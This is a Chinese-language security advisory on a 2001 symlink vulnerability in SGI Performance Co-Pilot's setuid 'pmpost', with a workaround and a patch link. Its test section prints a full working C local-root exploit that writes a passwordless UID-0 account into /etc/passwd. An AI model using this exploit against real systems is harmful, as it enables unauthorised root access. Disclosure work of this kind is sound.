SGI Performance Co-Pilot pmpost符号链接漏洞
发布日期:2001-06-18
更新日期:2001-07-02
受影响系统:
SGI Performance Co-Pilot 2.2
SGI Performance Co-Pilot 2.1.9
SGI Performance Co-Pilot 2.1.8
SGI Performance Co-Pilot 2.1.7
SGI Performance Co-Pilot 2.1.6
SGI Performance Co-Pilot 2.1.5
SGI Performance Co-Pilot 2.1.4
SGI Performance Co-Pilot 2.1.3
SGI Performance Co-Pilot 2.1.2
SGI Performance Co-Pilot 2.1.11
SGI Performance Co-Pilot 2.1.10
SGI Performance Co-Pilot 2.1.1
- S.u.S.E. Linux 7.2
- S.u.S.E. Linux 7.1
- SGI IRIX 6.5.9
- SGI IRIX 6.5.11
- SGI IRIX 6.5.10
不受影响系统:
SGI Performance Co-Pilot 2.2.1-3
描述:
BUGTRAQ ID: 2887
CVE(CAN) ID:
CVE-2001-0823
Performance Co-Pilot (PCP)是由SGI开发的一套支持系统级性能监视的服务,其中的
一个应用程序叫做“pmpost”,默认安装时所有者为root,且设置了setuid位。
“pmpost”会在日志目录中生成文件“NOTICES”,因为“pmpost”没有检查该文件是
否是符号链接,而且,由于写到该文件的内容可以通过命令行指定。因此,攻击者可以
通过事前建立一个符号链接,再精心构造一个特殊的字符串作为“pmpost”的参数,可
能会获得系统的root权限。
<*来源:Paul Starzetz (
paul@starzetz.de)*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Paul Starzetz (
paul@starzetz.de)提供了如下测试代码:
/********************************************************
* *
* pmpost local root exploit *
* vulnerable: pcp <= 2.1.11-5 *
* by IhaQueR *
* *
********************************************************/
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/stat.h>
main()
{
const char *bin="/usr/share/pcp/bin/pmpost";
static char buf[512];
static char dir[128];
srand(time(NULL));
sprintf(dir, "/tmp/dupa.%.8d", rand());
if(mkdir(dir, S_IRWXU))
_exit(2);
if(chdir(dir))
_exit(3);
if(symlink("/etc/passwd", "./NOTICES"))
_exit(4);
snprintf(buf, sizeof(buf)-1, "PCP_LOG_DIR=%.500s", dir);
if(putenv(buf))
_exit(5);
if(!fork()) {
execl(bin, bin, "\nr00t::0:0:root:/root:/bin/bash", NULL);
_exit(1);
}
else {
waitpid(0, NULL, WUNTRACED);
chdir("..");
sprintf(buf, "rm -rf dupa.*");
system(buf);
execl("/bin/su", "/bin/su", "r00t", NULL);
}
}
建议:
临时解决方法:
去掉“pmpost”的setuid位
#chmod a-s `which pmpost`
厂商补丁:
厂商已经发布了针对开放源代码的Performance Co-Pilot的修正版本:
SGI upgrade Performance Co-Pilot 2.2.1-3
http://oss.sgi.com/projects/pcp/download/pcp-2.2.1.tar.gz
浏览次数:4474
严重程度:0(网友投票)